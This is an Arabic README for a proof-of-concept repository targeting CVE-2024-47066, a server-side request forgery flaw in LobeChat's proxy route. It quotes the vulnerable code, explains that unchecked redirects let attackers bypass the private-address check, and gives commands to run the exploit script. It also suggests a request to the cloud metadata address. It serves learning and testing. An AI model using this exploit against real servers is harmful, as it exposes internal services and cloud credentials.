
إثبات المفهوم لـ CVE-2024-47066
★ CVE-2024-47066 LobeChat SSRF PoC ★
CVE-2024-47066 : Lobe Chat هو إطار عمل مفتوح المصدر للدردشة بالذكاء الاصطناعي. قبل الإصدار 1.19.13، كانت الحماية من تزوير الطلبات من جانب الخادم (SSRF) المُنفَّذة في src/app/api/proxy/route.ts لا تأخذ في الاعتبار عمليات إعادة التوجيه، ويمكن تجاوزها عندما يقدم المهاجم عنوان URL خارجيًا خبيثًا يعيد التوجيه إلى موارد داخلية مثل شبكة خاصة أو عنوان حلقة محلية (loopback). يحتوي الإصدار 1.19.13 على إصلاح محسّن لهذه المشكلة.
المُبلِّغ: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(خارجي) LodeChat --> هجوم SSRF --> (داخلي) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
أسفل السطر 26، لا يوجد أي مكان لتحديد استجابة إعادة التوجيه (Redirect). لذلك، عند استخدام مُقصِّر روابط (URL shortener)، يمكنك بسهولة تجاوز دالة "isPrivate()".
أرسل طلبًا إلى http://169.254.169.254
هذا المستودع ليس المقصود منه أن يكون استغلالًا لثغرة SSRF الخاصة بـ CVE-2024-47066. الهدف من هذا المشروع هو مساعدة الأشخاص على التعلم حول هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.